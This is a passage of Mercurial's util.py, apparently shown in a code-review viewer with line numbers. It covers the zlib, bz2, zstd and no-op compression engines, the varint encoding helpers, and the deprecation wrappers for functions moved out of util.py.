3642 3640 yield d.decompress(chunk, 2 ** 18)
3643 3641 chunk = d.unconsumed_tail
3644 3642
3645 3643 return chunkbuffer(gen())
3646 3644
3647 3645 class zlibrevlogcompressor(object):
3648 3646 def compress(self, data):
3649 3647 insize = len(data)
3650 3648 # Caller handles empty input case.
3651 3649 assert insize > 0
3652 3650
3653 3651 if insize < 44:
3654 3652 return None
3655 3653
3656 3654 elif insize <= 1000000:
3657 3655 compressed = zlib.compress(data)
3658 3656 if len(compressed) < insize:
3659 3657 return compressed
3660 3658 return None
3661 3659
3662 3660 # zlib makes an internal copy of the input buffer, doubling
3663 3661 # memory usage for large inputs. So do streaming compression
3664 3662 # on large inputs.
3665 3663 else:
3666 3664 z = zlib.compressobj()
3667 3665 parts = []
3668 3666 pos = 0
3669 3667 while pos < insize:
3670 3668 pos2 = pos + 2**20
3671 3669 parts.append(z.compress(data[pos:pos2]))
3672 3670 pos = pos2
3673 3671 parts.append(z.flush())
3674 3672
3675 3673 if sum(map(len, parts)) < insize:
3676 3674 return ''.join(parts)
3677 3675 return None
3678 3676
3679 3677 def decompress(self, data):
3680 3678 try:
3681 3679 return zlib.decompress(data)
3682 3680 except zlib.error as e:
3683 3681 raise error.RevlogError(_('revlog decompress error: %s') %
3684 3682 stringutil.forcebytestr(e))
3685 3683
3686 3684 def revlogcompressor(self, opts=None):
3687 3685 return self.zlibrevlogcompressor()
3688 3686
3689 3687 compengines.register(_zlibengine())
3690 3688
3691 3689 class _bz2engine(compressionengine):
3692 3690 def name(self):
3693 3691 return 'bz2'
3694 3692
3695 3693 def bundletype(self):
3696 3694 """An algorithm that produces smaller bundles than ``gzip``.
3697 3695
3698 3696 All Mercurial clients should support this format.
3699 3697
3700 3698 This engine will likely produce smaller bundles than ``gzip`` but
3701 3699 will be significantly slower, both during compression and
3702 3700 decompression.
3703 3701
3704 3702 If available, the ``zstd`` engine can yield similar or better
3705 3703 compression at much higher speeds.
3706 3704 """
3707 3705 return 'bzip2', 'BZ'
3708 3706
3709 3707 # We declare a protocol name but don't advertise by default because
3710 3708 # it is slow.
3711 3709 def wireprotosupport(self):
3712 3710 return compewireprotosupport('bzip2', 0, 0)
3713 3711
3714 3712 def compressstream(self, it, opts=None):
3715 3713 opts = opts or {}
3716 3714 z = bz2.BZ2Compressor(opts.get('level', 9))
3717 3715 for chunk in it:
3718 3716 data = z.compress(chunk)
3719 3717 if data:
3720 3718 yield data
3721 3719
3722 3720 yield z.flush()
3723 3721
3724 3722 def decompressorreader(self, fh):
3725 3723 def gen():
3726 3724 d = bz2.BZ2Decompressor()
3727 3725 for chunk in filechunkiter(fh):
3728 3726 yield d.decompress(chunk)
3729 3727
3730 3728 return chunkbuffer(gen())
3731 3729
3732 3730 compengines.register(_bz2engine())
3733 3731
3734 3732 class _truncatedbz2engine(compressionengine):
3735 3733 def name(self):
3736 3734 return 'bz2truncated'
3737 3735
3738 3736 def bundletype(self):
3739 3737 return None, '_truncatedBZ'
3740 3738
3741 3739 # We don't implement compressstream because it is hackily handled elsewhere.
3742 3740
3743 3741 def decompressorreader(self, fh):
3744 3742 def gen():
3745 3743 # The input stream doesn't have the 'BZ' header. So add it back.
3746 3744 d = bz2.BZ2Decompressor()
3747 3745 d.decompress('BZ')
3748 3746 for chunk in filechunkiter(fh):
3749 3747 yield d.decompress(chunk)
3750 3748
3751 3749 return chunkbuffer(gen())
3752 3750
3753 3751 compengines.register(_truncatedbz2engine())
3754 3752
3755 3753 class _noopengine(compressionengine):
3756 3754 def name(self):
3757 3755 return 'none'
3758 3756
3759 3757 def bundletype(self):
3760 3758 """No compression is performed.
3761 3759
3762 3760 Use this compression engine to explicitly disable compression.
3763 3761 """
3764 3762 return 'none', 'UN'
3765 3763
3766 3764 # Clients always support uncompressed payloads. Servers don't because
3767 3765 # unless you are on a fast network, uncompressed payloads can easily
3768 3766 # saturate your network pipe.
3769 3767 def wireprotosupport(self):
3770 3768 return compewireprotosupport('none', 0, 10)
3771 3769
3772 3770 # We don't implement revlogheader because it is handled specially
3773 3771 # in the revlog class.
3774 3772
3775 3773 def compressstream(self, it, opts=None):
3776 3774 return it
3777 3775
3778 3776 def decompressorreader(self, fh):
3779 3777 return fh
3780 3778
3781 3779 class nooprevlogcompressor(object):
3782 3780 def compress(self, data):
3783 3781 return None
3784 3782
3785 3783 def revlogcompressor(self, opts=None):
3786 3784 return self.nooprevlogcompressor()
3787 3785
3788 3786 compengines.register(_noopengine())
3789 3787
3790 3788 class _zstdengine(compressionengine):
3791 3789 def name(self):
3792 3790 return 'zstd'
3793 3791
3794 3792 @propertycache
3795 3793 def _module(self):
3796 3794 # Not all installs have the zstd module available. So defer importing
3797 3795 # until first access.
3798 3796 try:
3799 3797 from . import zstd
3800 3798 # Force delayed import.
3801 3799 zstd.__version__
3802 3800 return zstd
3803 3801 except ImportError:
3804 3802 return None
3805 3803
3806 3804 def available(self):
3807 3805 return bool(self._module)
3808 3806
3809 3807 def bundletype(self):
3810 3808 """A modern compression algorithm that is fast and highly flexible.
3811 3809
3812 3810 Only supported by Mercurial 4.1 and newer clients.
3813 3811
3814 3812 With the default settings, zstd compression is both faster and yields
3815 3813 better compression than ``gzip``. It also frequently yields better
3816 3814 compression than ``bzip2`` while operating at much higher speeds.
3817 3815
3818 3816 If this engine is available and backwards compatibility is not a
3819 3817 concern, it is likely the best available engine.
3820 3818 """
3821 3819 return 'zstd', 'ZS'
3822 3820
3823 3821 def wireprotosupport(self):
3824 3822 return compewireprotosupport('zstd', 50, 50)
3825 3823
3826 3824 def revlogheader(self):
3827 3825 return '\x28'
3828 3826
3829 3827 def compressstream(self, it, opts=None):
3830 3828 opts = opts or {}
3831 3829 # zstd level 3 is almost always significantly faster than zlib
3832 3830 # while providing no worse compression. It strikes a good balance
3833 3831 # between speed and compression.
3834 3832 level = opts.get('level', 3)
3835 3833
3836 3834 zstd = self._module
3837 3835 z = zstd.ZstdCompressor(level=level).compressobj()
3838 3836 for chunk in it:
3839 3837 data = z.compress(chunk)
3840 3838 if data:
3841 3839 yield data
3842 3840
3843 3841 yield z.flush()
3844 3842
3845 3843 def decompressorreader(self, fh):
3846 3844 zstd = self._module
3847 3845 dctx = zstd.ZstdDecompressor()
3848 3846 return chunkbuffer(dctx.read_from(fh))
3849 3847
3850 3848 class zstdrevlogcompressor(object):
3851 3849 def __init__(self, zstd, level=3):
3852 3850 # Writing the content size adds a few bytes to the output. However,
3853 3851 # it allows decompression to be more optimal since we can
3854 3852 # pre-allocate a buffer to hold the result.
3855 3853 self._cctx = zstd.ZstdCompressor(level=level,
3856 3854 write_content_size=True)
3857 3855 self._dctx = zstd.ZstdDecompressor()
3858 3856 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3859 3857 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3860 3858
3861 3859 def compress(self, data):
3862 3860 insize = len(data)
3863 3861 # Caller handles empty input case.
3864 3862 assert insize > 0
3865 3863
3866 3864 if insize < 50:
3867 3865 return None
3868 3866
3869 3867 elif insize <= 1000000:
3870 3868 compressed = self._cctx.compress(data)
3871 3869 if len(compressed) < insize:
3872 3870 return compressed
3873 3871 return None
3874 3872 else:
3875 3873 z = self._cctx.compressobj()
3876 3874 chunks = []
3877 3875 pos = 0
3878 3876 while pos < insize:
3879 3877 pos2 = pos + self._compinsize
3880 3878 chunk = z.compress(data[pos:pos2])
3881 3879 if chunk:
3882 3880 chunks.append(chunk)
3883 3881 pos = pos2
3884 3882 chunks.append(z.flush())
3885 3883
3886 3884 if sum(map(len, chunks)) < insize:
3887 3885 return ''.join(chunks)
3888 3886 return None
3889 3887
3890 3888 def decompress(self, data):
3891 3889 insize = len(data)
3892 3890
3893 3891 try:
3894 3892 # This was measured to be faster than other streaming
3895 3893 # decompressors.
3896 3894 dobj = self._dctx.decompressobj()
3897 3895 chunks = []
3898 3896 pos = 0
3899 3897 while pos < insize:
3900 3898 pos2 = pos + self._decompinsize
3901 3899 chunk = dobj.decompress(data[pos:pos2])
3902 3900 if chunk:
3903 3901 chunks.append(chunk)
3904 3902 pos = pos2
3905 3903 # Frame should be exhausted, so no finish() API.
3906 3904
3907 3905 return ''.join(chunks)
3908 3906 except Exception as e:
3909 3907 raise error.RevlogError(_('revlog decompress error: %s') %
3910 3908 stringutil.forcebytestr(e))
3911 3909
3912 3910 def revlogcompressor(self, opts=None):
3913 3911 opts = opts or {}
3914 3912 return self.zstdrevlogcompressor(self._module,
3915 3913 level=opts.get('level', 3))
3916 3914
3917 3915 compengines.register(_zstdengine())
3918 3916
3919 3917 def bundlecompressiontopics():
3920 3918 """Obtains a list of available bundle compressions for use in help."""
3921 3919 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3922 3920 items = {}
3923 3921
3924 3922 # We need to format the docstring. So use a dummy object/type to hold it
3925 3923 # rather than mutating the original.
3926 3924 class docobject(object):
3927 3925 pass
3928 3926
3929 3927 for name in compengines:
3930 3928 engine = compengines[name]
3931 3929
3932 3930 if not engine.available():
3933 3931 continue
3934 3932
3935 3933 bt = engine.bundletype()
3936 3934 if not bt or not bt[0]:
3937 3935 continue
3938 3936
3939 3937 doc = pycompat.sysstr('``%s``\n %s') % (
3940 3938 bt[0], engine.bundletype.__doc__)
3941 3939
3942 3940 value = docobject()
3943 3941 value.__doc__ = doc
3944 3942 value._origdoc = engine.bundletype.__doc__
3945 3943 value._origfunc = engine.bundletype
3946 3944
3947 3945 items[bt[0]] = value
3948 3946
3949 3947 return items
3950 3948
3951 3949 i18nfunctions = bundlecompressiontopics().values()
3952 3950
3953 3951 # convenient shortcut
3954 3952 dst = debugstacktrace
3955 3953
3956 3954 def safename(f, tag, ctx, others=None):
3957 3955 """
3958 3956 Generate a name that it is safe to rename f to in the given context.
3959 3957
3960 3958 f: filename to rename
3961 3959 tag: a string tag that will be included in the new name
3962 3960 ctx: a context, in which the new name must not exist
3963 3961 others: a set of other filenames that the new name must not be in
3964 3962
3965 3963 Returns a file name of the form oldname~tag[~number] which does not exist
3966 3964 in the provided context and is not in the set of other names.
3967 3965 """
3968 3966 if others is None:
3969 3967 others = set()
3970 3968
3971 3969 fn = '%s~%s' % (f, tag)
3972 3970 if fn not in ctx and fn not in others:
3973 3971 return fn
3974 3972 for n in itertools.count(1):
3975 3973 fn = '%s~%s~%s' % (f, tag, n)
3976 3974 if fn not in ctx and fn not in others:
3977 3975 return fn
3978 3976
3979 3977 def readexactly(stream, n):
3980 3978 '''read n bytes from stream.read and abort if less was available'''
3981 3979 s = stream.read(n)
3982 3980 if len(s) < n:
3983 3981 raise error.Abort(_("stream ended unexpectedly"
3984 3982 " (got %d bytes, expected %d)")
3985 3983 % (len(s), n))
3986 3984 return s
3987 3985
3988 3986 def uvarintencode(value):
3989 3987 """Encode an unsigned integer value to a varint.
3990 3988
3991 3989 A varint is a variable length integer of 1 or more bytes. Each byte
3992 3990 except the last has the most significant bit set. The lower 7 bits of
3993 3991 each byte store the 2's complement representation, least significant group
3994 3992 first.
3995 3993
3996 3994 >>> uvarintencode(0)
3997 3995 '\\x00'
3998 3996 >>> uvarintencode(1)
3999 3997 '\\x01'
4000 3998 >>> uvarintencode(127)
4001 3999 '\\x7f'
4002 4000 >>> uvarintencode(1337)
4003 4001 '\\xb9\\n'
4004 4002 >>> uvarintencode(65536)
4005 4003 '\\x80\\x80\\x04'
4006 4004 >>> uvarintencode(-1)
4007 4005 Traceback (most recent call last):
4008 4006 ...
4009 4007 ProgrammingError: negative value for uvarint: -1
4010 4008 """
4011 4009 if value < 0:
4012 4010 raise error.ProgrammingError('negative value for uvarint: %d'
4013 4011 % value)
4014 4012 bits = value & 0x7f
4015 4013 value >>= 7
4016 4014 bytes = []
4017 4015 while value:
4018 4016 bytes.append(pycompat.bytechr(0x80 | bits))
4019 4017 bits = value & 0x7f
4020 4018 value >>= 7
4021 4019 bytes.append(pycompat.bytechr(bits))
4022 4020
4023 4021 return ''.join(bytes)
4024 4022
4025 4023 def uvarintdecodestream(fh):
4026 4024 """Decode an unsigned variable length integer from a stream.
4027 4025
4028 4026 The passed argument is anything that has a ``.read(N)`` method.
4029 4027
4030 4028 >>> try:
4031 4029 ... from StringIO import StringIO as BytesIO
4032 4030 ... except ImportError:
4033 4031 ... from io import BytesIO
4034 4032 >>> uvarintdecodestream(BytesIO(b'\\x00'))
4035 4033 0
4036 4034 >>> uvarintdecodestream(BytesIO(b'\\x01'))
4037 4035 1
4038 4036 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
4039 4037 127
4040 4038 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
4041 4039 1337
4042 4040 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
4043 4041 65536
4044 4042 >>> uvarintdecodestream(BytesIO(b'\\x80'))
4045 4043 Traceback (most recent call last):
4046 4044 ...
4047 4045 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
4048 4046 """
4049 4047 result = 0
4050 4048 shift = 0
4051 4049 while True:
4052 4050 byte = ord(readexactly(fh, 1))
4053 4051 result |= ((byte & 0x7f) << shift)
4054 4052 if not (byte & 0x80):
4055 4053 return result
4056 4054 shift += 7
4057 4055
4058 4056 ###
4059 4057 # Deprecation warnings for util.py splitting
4060 4058 ###
4061 4059
4062 4060 def _deprecatedfunc(func, version):
4063 4061 def wrapped(*args, **kwargs):
4064 4062 fn = pycompat.sysbytes(func.__name__)
4065 4063 mn = pycompat.sysbytes(func.__module__)[len('mercurial.'):]
4066 4064 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
4067 4065 nouideprecwarn(msg, version)
4068 4066 return func(*args, **kwargs)
4069 4067 wrapped.__name__ = func.__name__
4070 4068 return wrapped
4071 4069
4072 4070 defaultdateformats = dateutil.defaultdateformats
4073 4071 extendeddateformats = dateutil.extendeddateformats
4074 4072 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
4075 4073 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
4076 4074 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
4077 4075 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
4078 4076 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
4079 4077 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
4080 4078 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
4081 4079
4082 4080 escapedata = _deprecatedfunc(stringutil.escapedata, '4.6')
4083 4081 binary = _deprecatedfunc(stringutil.binary, '4.6')
4084 4082 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
4085 4083 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
4086 4084 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
4087 4085 email = _deprecatedfunc(stringutil.email, '4.6')
4088 4086 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
4089 4087 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
4090 4088 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
4091 4089 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
4092 4090 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
4093 4091 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
4094 4092 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
General Comments 0
You need to be logged in to leave comments. Login now